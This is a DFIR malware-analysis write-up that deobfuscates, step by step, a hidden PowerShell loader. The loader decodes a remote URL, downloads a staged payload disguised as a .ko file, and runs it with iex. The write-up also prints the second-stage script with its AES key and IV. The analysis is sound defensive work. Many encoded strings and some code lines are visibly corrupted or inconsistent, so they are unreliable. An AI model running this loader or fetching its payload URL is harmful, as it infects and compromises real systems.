

Document Info

Published date	12 May 2025
Author	Skachko, Yevhenii
Audience	DFIR
Document Status	PUBLISHED

An obfuscated script is code that has been intentionally altered to make it difficult for humans or computers to understand, while still maintaining its intended functionality. This process is often used to protect intellectual property, prevent reverse engineering, or hide the purpose of the script. Obfuscation can involve techniques like renaming variables, changing the structure of the code, or using unnecessary roundabout ways to express logic.



- In overall CrowdStrike now deobfuscates 1st raw part of the script automatically, but let's say you would like to do it by yourself.
- We have this raw script.

[illegible]

- Let's add it to CyberChef and remove NULLs.



```
powershell -e
$QC3Ej = ("LTotPBYY00SkBgwIOiMKHgAlN3krdiY2GjwMfSQPIiA9CDQ2Cn0rPSw7KQIrIT0kf30MOz0GKCcDKQF+Kh9zCw==")
$g5mgk = $QC3Ej.Replace("@", "a")
$LA3RS = [Convert]::FromBase64String($g5mgk) | ForEach-Object { $_ -bxor 78}

$fqqJc = [System.Text.Encoding]::ASCII.GetString($LA3RS).Replace("@", "a")
$FjVr4 = [Convert]::FromBase64String($fqqJc)
$A4Lb1 = [byte[]](26, 163, 95, 45, 223);

$PaAe = 0;
$Wanw0 = $FjVr4 | ForEach-Object {
    $_ -bxor $A4Lb1[$PaAe++];
    if ($PaAe -ge $A4Lb1.Length) {
        $PaAe = 0
    }
}

$S47W5=new-object System.Net.Webclient;
$LYfAa = [System.Text.Encoding]::ASCII.GetString($Wanw0);
$bSrKs=$S47W5.DownloadString($LYfAa);

$mQMKj = $bSrKs.Replace("!", "1").Replace("*", "d").Replace("`", "T").Replace("'", "H").Replace(";", "F")
$luk5w = [Convert]::FromBase64String($mQMKj)
$KVcN1 = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($luk5w))

[System.Text.Encoding]::ASCII.GetString($KVcN1) | iex
-windowstyle hidden
```

```
$Qc3Ej = ("LTotPBYO0SkBgwI0iMKHGAlN3krdiY2GjwMfSQPIiA9CDQ2Cn0rPSw7KQIrIT0kf30M0z0GKCCDKQF+Kh9zcw==")
$g5mgk = $Qc3Ej.Replace("@", "a")
$LA3RS = [Convert]::FromBase64String($g5mgk) | ForEach-Object { $_ -bxor 78}
```

- Decoding Base-63 string: `$QC3Ej = ("LTotPBYOOSkkBgwIOiMKHgAlN3krdiY2GjwMfSQPIiA9CDQ2Cn0rPSw7KQIrIT0kf30M0z0GKCCDKQF+Kh9zCW==")`
- Replacing characters: `$g5mgk = $QC3Ej.Replace("@", "a")`.
- The output `g5mgk` that was decoded from Base64, decoding with XOR with key 78 in decimal: `$LA3RS = [Convert]::FromBase64String($g5mgk) | ForEach-Object { $_ -bxor 78 }`

"Bitwise XOR (exclusive OR) is a binary operation that compares each bit of two input numbers. If the corresponding bits are different, the result is 1; otherwise, it's 0.

It's a fundamental operation in computer science, used for various tasks like bit manipulation, encryption, and error detection.

Here's a more detailed explanation:

- How it works: The XOR operation, represented by the `^` symbol in many programming languages, compares each bit of two numbers.

If both bits are the same (both 0 or both 1), the result is 0. If the bits are different (one is 0 and the other is 1), the result is 1.

- Truth table:

Input 1	Input 2	Output
0	0	0
0	1	1
1	0	1
1	1	0

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

XOR

Key
78

DECIMAL

Scheme
Standard

☐ Null preserving

LTotPBYOOSkkBgwIOiMKHgAlN3krdiY2GjwMfSQPIiA9CDQ2Cn0rPSw7KQIrIT0kf30M0z0GKCCDKQF+Kh9zCW==

Output
|ctcrX@wgjHBFtmDPNky7e8hxTrB3jAlnsFzxD3esbugLeosj13BusHfiMgO0dQ==

- Replacing "@" with "a":
`ctcrX@wgjHBFtmDPNky7e8hxTrB3jAlnsFzxD3esbugLeosj13BusHfiMgO0dQ==` → `ctcrXawgjHBFtmDPNky7e8hxTrB3jAlnsFzxD3esbugLeosj13BusHfiMgO0dQ==`

2nd Part - Initial script

```
$fqjC = [System.Text.Encoding]::ASCII.GetString($LA3RS).Replace("@", "a")
$FjVr4 = [Convert]::FromBase64String($fqjC)
$A4Lb1 = [byte[]](26, 163, 95, 45, 223);
```

- Replacement of "@" with "a", what we have already did in the previous step: `$fqjC = [System.Text.Encoding]::ASCII.GetString($LA3RS).Replace("@", "a")`
- Replacement result we convert from Base64 again: `$FjVr4 = [Convert]::FromBase64String($fqjC)`
- We need to use XOR again with custom keys: `$A4Lb1 = [byte[]](26, 163, 95, 45, 223);`
- Unfortunately we have received jiber-jaber

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

XOR

Key
(26, 163, ...)

DECIMAL

Scheme
Standard

☐ Null preserving

Output

rx+]~•pE¶I6L»{ËqN°w• g°\ñszw~nè z•#xpn°wâ2ctx´u

- Let's try to change Decimals into Hex values, in general there are many sources that can help you with that, but here one option - [Decimal to Hex Converter](#)

26 163 95 45 223 changing into 1A A3 5F 2D DF

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

XOR

Key
1A A3 5F 2D DF

HEX

Scheme
Standard

☐ Null preserving

Output

https://hizliadak.com/VJoFRP2stKTWT9t/ComAm.ko

3rd Part - Initial script

```
$pApaE = 0;
$Wanw0 = $FjVr4 | ForEach-Object {$_ -bxor $A4Lb1[$pApaE++];
    if ($pApaE -ge $A4Lb1.Length) {
        $pApaE = 0
    }
}
```

- This is XOR loop, basically performs decoding loop using the key \$A4Lb1 = [byte[]](26, 163, 95, 45, 223);
- It is using previous string with defined XOR key that I showed previously.
- It is done usually to make the malware script harder to analyze.

<https://hizliadak.com/VJoFRPZstKTWT9t/ComAm.ko>

- \$Wanw0, result of the loop is

4th Part - Initial script

```
$S47W5=new-object System.Net.Webclient;
$LYfAa = [System.Text.Encoding]::ASCII.GetString($Wanw0);
$bSrKs=$S47W5.DownloadString($LYfAa);
```

- Creates new download WebClient: `$S47W5=new-object System.Net.Webclient;`
- New variable to download from previous step (URL): `$LYfAa = [System.Text.Encoding]::ASCII.GetString($Wanw0);`
- New variable for downloading: `$bSrKs=$S47W5.DownloadString($LYfAa);`
- By going to the website, automatically some payload gets downloaded.

hizliadak.com/VJoFRPZstKTWT9t/ComAm.ko

☒  ComAm.ko	5/8/2025 10:59 AM	KO File	2,698 KB
--	-------------------	---------	----------

".ko files can be associated with malicious activity, specifically in the context of Linux systems. They are loadable kernel modules, which are used to extend the kernel's functionality, and can be exploited by attackers to inject malicious code."

"Examples of malicious use:

- **Rootkits:** Malicious .ko files can be used to install rootkits, which are sets of tools that allow attackers to hide their presence on a system and maintain access.
- **Persistence:** .ko files can be configured to load automatically on system boot, providing attackers with persistent access.
- **Malicious scripts:** Attackers may embed malicious scripts within .ko files to execute commands on the system."

5th Part - Initial script

```
$mqMKj = $bSrKs.Replace("!", "l").Replace("*", "d").Replace("`", "T").Replace("'", "H").Replace(";", "F")
$luK5w = [Convert]::FromBase64String($mqMKj)
$KVCN1 = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($luK5w))
```

- This is post-downloaded part, to deobfuscate 2nd script (see "1st Part - ComAm.ko script"): \$mqMk\$ = \$SrKs.Replace("!", "l").Replace("*", "d").Replace("`", "T").Replace("'", "H").Replace(", ", "F")

```
[System.Text.Encoding]::ASCII.GetString($KVcN1) | iex
```

7th Part - Initial script (Result)

ComAmko

- Let's check the 5th Part from Initial script, first line. It says to perform strings replacements: `$mqMKj = $bSrKs.Replace("!", "I").Replace("*", "d").Replace("`", "T").Replace("'", "H").Replace(":", "F")`

Recipe

Find / Replace

Find / Replace

Find

!

SIMPLE STRING

Replace

1

☒ Global match

☐ Case insensitive

☒ Multiline matching

☐ Dot matches all

Find / Replace

Find / Replace

Find / Replace

Input

```
mrRVmxVe;*uc;*Na!Z5WmTk"mVX"kZ"bESXU!RMWvUy*GtUMVJzU2xsV!*e";ZVEozZbXr*1*r"!*SM;p6VwXkMGJ"RxpVazVaYkZV*1RmWk9Kr"!JYkZ0aW
J`c3*XVJJC"VZNeVVYbG;SRnBPWJ1zHGQxb!NXb;psYkhCMVYy*EtUMUSIVGpKVU1Gh!BZakp"V1ZKc1NrHUS1E3"V1RKN;*rM!UbkphUmxwb1!tMU9jBES
zV!hoam;6Vk*Vb;J`VkZKc1NUR!ZwbjgyV;VacmV""k*VazVo"";KN;ZrZ`*1bV;3`VhKVvZ;chUV!pzYz;OV1Vswk9W;ZYVm0WbW;rM"*jRUpXY"Jo*Vp`
MU9Hr!Z0"1SUsAGExcE1XvZB3ZU*";JYZGh"R"VwM14S2Mdkk*hr"!o"VZJM1Zt*;NhBZZV;hkv!ZXUmVhJ;`Y21SR1RscE51bkgW1cxeK5;NVhVa1ZV
0hC";ZYcG9!Vmt5"!VobGJ;NVpW!JPGVsxckSxa;Rwb`BXW"34a1YxUnVxb;J`Yk*4eVUye;RCR2MxV!*MbXrpUj;aR!UXZDrVazB4VZxsvGExc;hWV!V4U!ZG*ESXeG!5bGn0KZ
Wb2Iy5nJ0W;ZqU!hCc!sv";!VnBXVmtwb;ZsbdRMV3hzV0ZKN!ZqU!`SM1J6W!`zNV*W!1hr"!XYV!*oUVZMh!N1MUS0WmTkbGEyaE9Makp"!IZve;*rcE51
RxBVhM5Q1YwMUV1S6xaV!Zas;Vtcc3hSR!p1YbZS"!ZwcERhVezYzJ0RK1VaGhM!Jxv;VSR01Mz";a!J1M00S1!VZDRhaz;IVG0S6h1WkX*ZMV4U1`KR
2;GQ!J3WXBVY1hwQ2Qy`nNaR!ZV0ZuVUVq`!JkMjWYUwV`!ZrNU!UMGh3YUJueVrMwPbMhN`hVvaS1Yy`kZVazVoZbXaQ1`rVm0jMh0XVwSMG;6Rk9Vak
pvZ;ZSVV;trK9!RXBWW";o1`*S!*XbEJXU!Zw`!Uy`*`mbV;0V2xoaVYxSkZWR!ZvYj;VeVrRmmt!a3B0W!`451RscEVRbXRV!hCwVZt`*`VMKV4UmpOk0
zQ!BaR!Z3U0ZwSMN`aGhNbmgZVIRGYMQyUXh`b!JXY";KV!Vsa;NkM0xVUwXOV!ZsSk!ZH3B`Yw1mVRUS!VXSEJYN";a`!IZGSn;5bXhoY`NCW;Z`c`EtNRKSz
U1hoagVrS!Znak55ZD;Sc1`s`mpSa0B`Vvc151Vsw!`jRepYKZwM1RUS!J!bU5I`!ZNV1JYQJ;Wa1JC"!`Kck5IZE9`RXBPVmtk`mqXUnNzekZUUm10N;Kwa
G9!R!p1UwtKVGJ`UjNaRz;XY1ZwRVVta;`WR!pDV1cW`MRmMUHvb;ppU!ZaU;!tNUN!R!ZVU0ok`!JswK!UMhLVM1WV1`q"!ZNR`V1WkVKR1NGUN!Rk5OUK
*4M1YyYX`jMVJXwkvVhJQuQ!hZV!ZhVD;wR1`s`s`mh1Vkp5WkVoS1Yxw!`Xaz!WZhs1U;Z;VXh`R1JG`VZKU1Zswn!WakZq`VZ0RMN;V!h!VGczVm1451IwX!
`VbXRrU!RwG;ZtNX*W";0YURSVGvrNUTaREp`"!ZK`E1Xc;NSVnBvVm1w`!EXUXhXbkJQvKzav1VsZG90Vmt4Wkc5`!YxWnhMbXh`Uz;av1Nua;`hazV1W1WkX
V1`H5!`!Jr0Z0Y`BwMVZqR!NRMU13`!Z0wGJ1Q!`UV3Bz`mxSRVrTR!Z!RvpIVm10b1ZGSjZSaz!hVjNo`!ZXe;JKhVzVzVm1G6Gj;cd;Wa1p`VjJRe;p6BG;Se
```

Output

```
SkcxNlNfOXB3RD8n50NKVVJFWlBXVmrTYzFKc1dsVldhe1ZTvm10V2Vt1daSFZWyM14V1ZtdHd1VmrZyUUS1t1JtTVZES1VUZaVvRh1RHMUpjVtBkV1YxcEd:
```

- Output is another Base64, and after that output of Base64 is another Base64. So, this action has to be repeated until we see deobfuscated script.

Recipe

From Base64

Alphabet

A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Input

```
1PVLZa51Uwmm9TMVJFVGtKTU1VNVJXak5DYhX0N1RnR1ZwWkoZVmxWk0yV115bHBTbXdc11tMhMtNazVz2xKt1Zf5KSUa2R3ZJ0V72GafRXR1p0Vixaa1
GVXh1RmRQUBdneF16Qm5iRk14Ums5U1ZtTnMhRvpTVUZZSVVUQmhwRNBGh1VaQ2RmWKhiekpTVdSV11wVTF1mKv3ZEhOV1JGSKIuakF3T1Z7eFZUaz01KQ0
JHRB0E1ZID0gW0NvbnZ1cnRd0JpGcm9tQmFzZTY0U3RyaksNKCRTekhpAskNC1RSSHZ5RCA9IfTdDb25Z2X30XT06RnJvbUJhc2U2NFN0cm1uZyhbU31zdGvt
1R1eHQU0Rw5jb2Rpbmd0ZjB0U0N355SHZXRtdHJpbmc0JHRB0E1ZKS5KNC1RNSUEyNCA9IfTTeXN0ZW0uVGV4dC5FbWVzG1u1Z060kFTQ01J1kd1dFN0cm1uZ
gkUkhezU0pL1J1cGxhY2UoIiU1IiCAiZiPl1J1cGxhY2UoImakiwgTmE1KS55ZXBsYmN1KCIhIiwTmE1KS55ZXBsYmN1KCI3AIiwiG1KiIiQ0K3JGF0XBDIDh
gW0NvbnZ1cnRd0JpGcm9tQmFzZTY0U3RyaksNKCRTSUEyNkNC1RURndj1bQ29udmVydF060kZyb21CYXN1NjRtdHJpbmc0J3RjZmRtMWFwERSY19UzNR
ZZZ3FE9P5Cp0w0KJExQu01Stj1bQ29udmVydF060kZyb21CYXN1NjRtdHJpbmc0J21K5Z21RU1hzb2E0DMWGH51NRaVc0c23ab0RqNH8DUvBReu1005t1'
jg93yk7Q0kZvHCZD3JID0gTmV3LU91amVjdcBtEXN0ZW0u2VjdXJpdHkuQ3J5cHRVZ3JhcGh5LkF1c01hbmFmZnQNC1R1WE3kfkku52VSID0gJExQu01Stj
0KJGVVYQmQy5557V1A9ICRUVnRndg0KJGVVYQmQy555Nb2R1ID0gW1N5c3R1b55TZWN1cm10e5S0cniwd69ncmFwaHkuQ21waG9yTW9KZV060kNCQw0KJGVVYQm
Y555QYhRkaiw5nID0gW1N5c3R1b55TZWN1cm10e5S0cniwd69ncmFwaHkuUGFkZG1uZ01vZGV0d0JpQ50NTm0KJG12NV1Eb1A9YjRC1WE3kfkkuQ3J1YXR1RGV
cn1wd69yKCK7DQokZ0VTemJNID0gTmV3LU91amVjdcBtEXN0ZW0uS08uTWvcb3J5U3RyZmFTDQokAHz1M29JID0gTmV3LU91amVjdcBtEXN0ZW0u2VjdXJp
HkuQ3J5cHRVZ3JhcGh5LkNlYX0eX0B1N0cmVhb5gkZ0VTemJNLCaKaXY1wURuLCBbU31zdGvTl1N1Y3YvaXR51KlhyeXB0b2dyYX0e5S0cniwd69TdhJ1W1Nb
R1XT06V3JpdGUpDQokaH21M29J1ldyaXR1KCRhYUfuYqWgMcwJGF0XBDLCx1bmd0aCkNC1RodmUz0bkuRmxc1c2Hgaw5hbE53b2NrKCKNC1RUZVZvZ0QSPg
kZ0VTemJN1RvQXJyYX0KQ0kDQokUGd1N0kgPSBByN10ZVtdXSgXhZcsID1xMCwgMTUSLCaXhDgsIDY2TStNC1R1TD1JVC9AIDA7DQokdUZvZ0QSPgSAkVGR
c1dk1Hhgrm9yRwFjaC1PYmp1Y3QgeW0KJF8gLWJ4b3IgJfBnZTdJWyR1TD1JVCsrXTsNCm1mICgkYkw5Y1QgLWd1ICRQZ2U3555SHZ5n5dGgpIH5NC1R1TD1J
CA91DANCn0MnCn0gKw1N5c3R1b55ZUXh0LkVvY29kaW5nXToQVND5UKuR2V0U3RyaksNKC1Rm9JZykgfCBpZxgNCg=
```

Output

```
$mzHOi = ("TDF0YWRsR1ZUVk5RVkVzeVduUn1Vvkpyl1h0NFoya3JhVTFfSKrkSGVwZFzkH1V0XVwT0pGzEdKEUeZT0cxN1ZuQjVRB3JY0haeVvuTKcXsA:
$tAxB6 = [Convert]::FromBase64String($mzHOi)
$RHvyD = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($tAxB6))
$MIA24 = [System.Text.Encoding]::ASCII.GetString($RHvyD).Replace("%", "d").Replace("'", "a").Replace("!", "b").Replace(
$aaApC = [Convert]::FromBase64String($MIA24)
$TVtgV=[Convert]::FromBase64String('tcfdsYcEXDyb/TftvgfwTQ=');
$LPsIRN=[Convert]::FromBase64String('idKfBEIao18t304hg3SQ1w4sb114j4pCQPQymt9+bb8=');
$eXBd2I = New-Object System.Security.Cryptography.AesManaged
$eXBd2I.Key = $LPsIRN
$eXBd2I.IV = $TVtgV
$eXBd2I.Mode = [System.Security.Cryptography.CipherMode]::CBC
$eXBd2I.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$ivSYDn = $eXBd2I.CreateDecryptor();
$gESzBm = New-Object System.IO.MemoryStream
$hve3oI = New-Object System.Security.Cryptography.CryptoStream($gESzBm, $ivSYDn, [System.Security.Cryptography.CryptoStr
```

- ComAm.ko file, this is NOT final payload, this is the middle step until the final payload.

```

UldwcU5YUnROVkvSr1SVRSU0xbHdjMj1QVVRsQU1IcH1ORVZF2U2taclUwMUJSVXhNTUNWtExTk9SRPEpvTldjEpGcHNhaliI1V0hOc2MyaHNTbU5tVGtBdk5Vb31RSEZEY1VseFYwU1RkU
4wY3hlRE0yUjJOM1JGSKVjbT11Y1V0U1JF23JtBxgyVGxsb1VvdHsdMD1GVDJ4NVprW1BVVhXhYKV0UOpE2D2kU1J2TWxOc1dFWnRFPWghEYUVOcFNFVnlhR2RxSVNGRmRnUnFFRk2YVXp
MmxQZVd4eWVrbDZVRmxX2FdsVWJFNDfjVzVzYwO5cFUYTkVM0412G05NmJrNVhXVvYwWtNRm2EwTmPSSGRMSkhOV1ozcExKVfPjWJX10cU1UazNTRXgyUVM5YU1tEdSR1I2VWxRM1pqV
haef16aG1Le1JfYmpCwmNFaFb1U3RC2DI1TFNHMXFlbFU2VEU5dkwxUklWbGczSVhBM1p6VX1JVEZz2TDB2Mk4xT1pSWHBYUUhJeWRraEtFV1JOT0dOS0awcFpSekZB2VZSSmFuZHRUemg
RnZjR3hqYVRME5sW1hNM1pqWmxKdGR6bFViVEFPZG1oemRGcDFVbFZNUOVUVdpdG9Na00xVFRsSFRXWXdLe1JXVn10e1ZUT1R1bWmWYUhaWE5sQn1RT1I2GzStmEweXWMLkzT1IQCf
5XZURKYYVnTNNVn1r1S1VCNmNqVnhKV2hR2UhwREwzQxdRV1ZLTUhwdfJFY3dUVKp0Y1cxhE5WZFB1MHN4UIIwa1R6a3pWamhxZUc1SFVYAGFaVUJhTDJNN1MwOVROhRwRZVSTU1IQCf
bWTVtk1RMjRtD0dJMFVFRkZhrT0zW5s1TmRsV1RUamQwVEN0b1RUZGpTMU1rT1VOT1ZVhXhTm1pseVEON1pWVTBTVTQ1U1VGBWFGaEFWWGRQSVVaSFEwOghkazQXZB0VnRubHBVazFFT
RhaU23ZF2RNWFrUxhVrk5CVDfSFE5xWnJZMDVhV2t4cGVWXXhja0UzVtBNek1UVWxVVKt0W1ZaUmNtJZ1Rz1aVENGelVcWTRKWEJNY1ZsUVF6W1NURThov1doV1p6Qnd1Uz1wJN9WFR
V2tGeGQwM1JSRFPITTA4alpIWTNZMOpWVUZCWFdgaGpTalZaUzJZbE9EVmx1M115U0Zw1JrT1JkMDAxVFCVTFNWRm1hak5SV1hkn1JFZFPaWfZ6YmpkeE1FQk1jV3ByTjFFM1pKxE9WV
NXNDVNBWxSVUovE2zrNVNRNRWd0U1RkU09DdE11SgtsV21kNFMYOuRhMOpYw1RZeG1wcfFlak5JSZBCSVNpRXZOSGMyU1Nza05pUmXhRWM1ZEU4d1RSUTFhakVrU1ZkT09Y3dWRGhyTjN
R05YRZEXYKxSdHNRVmrU00dWbU1rZ2H1FR1UyV1VaVWFRYzRNRLpZwXpSek1VWk9jMk5KYzBrbFFFwNpRVGg1V2padVVsTm9jMk5xWjNoSE5tZ3pOVT1BVFdwU05HdHJheUUI1WtnbEt5U
VoNE1GbE9aMwtsUdoR00zWXJ1RTFCVWtGeEPVW1djVkkzT12Se1NXT1hjbFpQ0U02NMVdYZEXPRGHJZGxvM1JrNW1VbXRHU0hKQVNrVkpQ3RaYVZscFQzcHV1M3BxUkRka1RIRjJ1VEV
aH1MM2My2FV0d2RDdFJUbE14U1dVe1JFVWkhkV2RGYTFrNFFXeFJ5SRmRMZVdZaFRUVkhLMFFoSzBkTVRucEpOM11rYU2KW1UyOTNWWGxQUzBWclMzRtNSRTVUTUd4UFJqS1ZQO1EzUTB0U
ZzUmxxM115UjZja2t2UVdW51EycHhaMVZQV1dWQVRVUXZ1U1ZN2VVKwVURX10eXMXZURsUE5YRnBhRGdyWm5KS2VUaFR1VmxzZVdaTmMzZ31VMXBNWmtkNmNWW1pSRVpxTTA1RlozRTR
NGNHVjBjSFphVku1bmvYWXhHMGxtV1VSU1dWb3JNMfZVZDA4NU5ETktNekJxU1dj1pUT1pTbXhGVW01R2NHcFdhVkkxUXpVMFFWQkFFRmRGYm1jekpIaEZWwV5VZVZBc1NGWXPWU0Z1V
5VbWRaU1RodUsxaH1jMghUTONS5WNHefBKWEp2U1Z0R0pVZzF1bFpNVmxvaFVfV9k9hbGRWU0hWcVJ1SNRRMD1YT0Zsd2VqY2tHMGxU00RCSW1yNHdWbkJCZFhoV2VFWjRXVUYxT1RKSks5
TDISTVYzW11hM1E02VRBd016TTV1bEo2U25wT1JWbEphRVZzYkRWmRGWnNVMMxTYzNCd09UbExhME5zVUVsd1VTOUcNRT1FU0VNeE5uZEJFVvVVoVmpGV2FteG5XSFZFU1d0c2JUJ3hSM
REUKVOU1IYykhWTlp5Vms9VVZKU0ZoS1RETkJMMUSRWjNCa1N6TkFVVVJ3V1VZM2VYR1pSM1VsYm1kMX5eW1dOVEJNTkdw2VWbFhFWTFZNU1ZkRFUXbFdFpSGgxYzBnbF1xRk9SVmNsVEZ
$Ax86 = [Convert]::FromBase64String($mzH0i)
$RHvyD = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($Ax86))
$MIA24 = [System.Text.Encoding]::ASCII.GetString($RHvyD).Replace("%", "d").Replace("$", "a").Replace("!", "b").Replace("@", "B")
$aapC = [Convert]::FromBase64String($MIA24)
$TVtgV=[Convert]::FromBase64String('tcfdSYcEXDyb/TftvgfwTQ==');
$LPSIRN=[Convert]::FromBase64String('idKfbE1ao18t304hGJSQ1w4sb114j4pCQPQymt9+bb8=');
$XBd2I = New-Object System.Security.Cryptography.AesManaged
$XBd2I.Key = $LPSIRN
$XBd2I.IV = $TVtgV
$XBd2I.Mode = [System.Security.Cryptography.CipherMode]::CBC
$XBd2I.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$iv5YDn = $XBd2I.CreateDecryptor();
$GESzBM = New-Object System.IO.MemoryStream
$hve3oI = New-Object System.Security.Cryptography.CryptoStream($GESzBM, $iv5YDn, [System.Security.Cryptography.CryptoStreamMode]::Write)
$hve3oI.Write($aapC, 0, $aapC.Length)
$hve3oI.FlushFinalBlock()
$TdUsWd = $GESzBM.ToArray()

$Pge7I = [byte[]](137, 210, 159, 108, 66);
$bL9cT = 0;
$uFocg = $TdUsWd | ForEach-Object {
    $_ -bxor $Pge7I[$bL9cT++];
    if ($bL9cT -ge $Pge7I.Length) {
        $bL9cT = 0
    }
}

[System.Text.Encoding]::ASCII.GetString($uFocg) | iex

$Ax86 = [Convert]::FromBase64String($mzH0i)
$RHvyD = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($Ax86))
$MIA24 = [System.Text.Encoding]::ASCII.GetString($RHvyD).Replace("%", "d").Replace("$", "a").Replace("!", "b").Replace("@", "B")
$aapC = [Convert]::FromBase64String($MIA24)
$TVtgV=[Convert]::FromBase64String('tcfdSYcEXDyb/TftvgfwTQ==');
$LPSIRN=[Convert]::FromBase64String('idKfbE1ao18t304hGJSQ1w4sb114j4pCQPQymt9+bb8=');
$XBd2I = New-Object System.Security.Cryptography.AesManaged
$XBd2I.Key = $LPSIRN
$XBd2I.IV = $TVtgV
$XBd2I.Mode = [System.Security.Cryptography.CipherMode]::CBC
$XBd2I.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$iv5YDn = $XBd2I.CreateDecryptor();
$GESzBM = New-Object System.IO.MemoryStream
$hve3oI = New-Object System.Security.Cryptography.CryptoStream($GESzBM, $iv5YDn, [System.Security.Cryptography.CryptoStreamMode]::Write)
$hve3oI.Write($aapC, 0, $aapC.Length)
$hve3oI.FlushFinalBlock()
$TdUsWd = $GESzBM.ToArray()

$Pge7I = [byte[]](137, 210, 159, 108, 66);
$bL9cT = 0;
$uFocg = $TdUsWd | ForEach-Object {
    $_ -bxor $Pge7I[$bL9cT++];
    if ($bL9cT -ge $Pge7I.Length) {
        $bL9cT = 0
    }
}

[System.Text.Encoding]::ASCII.GetString($uFocg) | iex

```

2nd Part - ComAm.ko script

```

$Ax86 = [Convert]::FromBase64String($mzH0i)
$RHvyD = [Convert]::FromBase64String([System.Text.Encoding]::ASCII.GetString($Ax86))

```

- Deobfuscating 1st very long line, we need to do from Base64 several times as in the previous steps and in the end we get this another long obfuscation that will require to perform strings replacements.

- **String replacement**, similar as in the 1st part of ComAm.ko script

Recipe

Find / Replace

Find

\$

SIMPLE STRING ▾

Replace

a

☒ Global match

☐ Case insensitive

☒ Multiline matching

☐ Dot matches all

Find / Replace

Find

!

SIMPLE STRING ▾

Replace

b

Input

/SvZvQUMSPtK2ZtrQRkesxg1+!mD\$7GyWuXes5\$Nf%178mZVpyCzHpvrrSfKf3!@T\$CAGHFUEKEPj+Fmqg/DD+3u2133nF8C1Rs8TrCnQTj%wHph8W+3GLPGf/SuZe2X7/tSiHeINIDTUNuu3uJy6hNHhOAd7JhID0PwJ7fecoNeP9mNoYK1S1!QX1ZyXsJAE3V\$CMETzrIw8PSjQ\$ZKLnM5Jo2Fv8knWgz2stml3fvA4w/8ChuUq/fPpJ7rGujy5\$Mk4A5HTy4z4Z52KJN802c6Wx!59SUs9@gT/x/q\$H61nmmskHlnteMsw05Cet+4@fJRCrfln0t333!+pptsT73Cz1uY+5oHw\$%2xCOXYTCdgr8e54vs8zw1nZDKxLKL1u3p1Ages2CuH\$00@0gU0uXg6zIvcy22WtXNqHnIe9t15XNABITVGIgrIR6E24N0kHAE0\$KQAI1i0isHng10eHesG1qJyW8Jus\$Jky6/8Kt0r5Ho3owKj!|EZC2NQtZyNvL0hg3FzE232eNLXI\$K/ZgC0Rpl64gL64WtUeIFD0s3nGysJ1IqZpFeCLKIDkPLK8s+3\$5J1!uz2U7KIGV4Mkt5t1DgkAFoe2wnzhzMNO0g7N+745n6CzYqZEKjoz7x1nQnz4uID6zjCExpKos\$ph1mhce6Q0f9LXs5v!MuTcvKUEMK\$K0k1TESYnG65hYTeQ705NsOha+Rw!fPl2nPlv/PPhrgyH52PDJwJfGy47F8G2Y5FYSos/vQUGHmMzXQOCTg4g\$PvYw/qdfeHhU!e5k/31zyZvKX\$W\$4y6!6!XiqfHhUf7BE8EA4tFQkUeMkQ7L01!E@Nq1A6\$1n002RH75waZ1xT1JfG6jvPvP651QzCqfnxkXAg18wL1TQnAqn8859m3nZGqYHf8D3kH4g/3oBm1c6cq/x/\$/rVfmgM3C3d1Cm4E5EGFQJ1IDnq8H9KQLm1ktY31c8q51+UF17vIt\$W!+mLq8B1VfT8y+CT0v5f/kv!kRQz22YYZxH0k47EhFU36q\$BaQuK/p8MNVkp+1nQXDQL\$W2XmCq/ww/73T1f/jysyELvULRmL/grpLk\$J6XTAGT5C241mt5oe6h3!lgxTC19h1V5C2zmf8ZUxKk5l1Pp!\$Y1XJ1x1c1LaUXkyR60Z1nq1n144z4w4z21t35Xwe01T9QV1Uhf4A4Z3C9sY1uuehsr4P5csZ\$!+h@rGv1VzTm5CF1Te1SpfTgh!G215AS4CvFpH\$Ft3JV55CIp8EKQzprRH8vCp6mX1uPUAYukDBrFuulwC1V73n9Ju9AcV4y2uL@gnkhrlwlpkHxPFDZtUAIHx8h4wJLm+1C873Cp+AdqP5F\$w+VK483VrWf4G!kAGqCk0LnmVUZ0+uN4CzNzYB4mW/eoLSZ5NMM3qWz4v4VhLJ752y9Toq+uW\$X\$wL1LqE1TYTWPJ3J7f@mer20vGzQLN9L13P0X\$LV1scCIP1u1k9Ae2qxeYGIeUaXtGt8k1B0\$HueYVRp!F2e65U21YtLgtzRlzhok7\$Epg5U021u7seJXKxjymn1P/knc5EiUznj\$TKzL4Vkm9PdeQ2IARLm1Ljv\$JtqgZ1fFh07/FNN805/31r1c0M3eVskTF80\$W62uf1uV1+npG0f61pLqWz241Q095K5t4HY6K2wPzUjE6/53PAmdSh!kgh6D2gskwRP9q5MjA0x1hFfEG1EG1NIX0\$W91N9N1h456S+5Yx/FuK+XumuZ5EU0N1Hey3e/ZE+3M3S8Aev045\$JfK23e\$GHHQ1lfz9N2IEoE!1oZ6pKfCq1Q1z7pshy0hJ26Gp\$Jc9n71\$pv!1MU71qZz11H0k47FvYUUG3S5eLhQp6mV1o1vW08HMK16C!Hxgw6yAsT!ug4CU95zPPP!FQUgXn56whhmq08\$QIZV3/TG7rgKj11uH40z7MTmpay@1U1J1k23wM1@5@CKHUqnos\$J1!6NFHkXGqGzGeO4w8R9Ej7tIIP1C33JgmUJQWxdx/\$gm03r575xMlyKfz4Frg!p1g/MZUuQM771eNTXVUSu\$PcKt\$1AweL151TQxkbnv9uKcAH89K\$M\$21gpaoOkt1Cvz31uSer@Y42EPKuc3W\$G\$!3A1Nhu/1TZC5fK\$gy2q4EwH5M8NRHFLRf\$syak/\$wDg/EfYotnxuXo72rcFt3C3e/t33UUVF9M9Q3191+nhoNj1mHYVZCDID95oizx!1CfGZi5Deczpxuh8314YQJ0N8YTmw51mf@1h4lmc1eIS5mAItnXkvrn\$5rIEOHHA9yG3+Out0s0B4yMtnZ1y0FHp9H1KEGZ0IRUNABT1wV1eL7Jp8F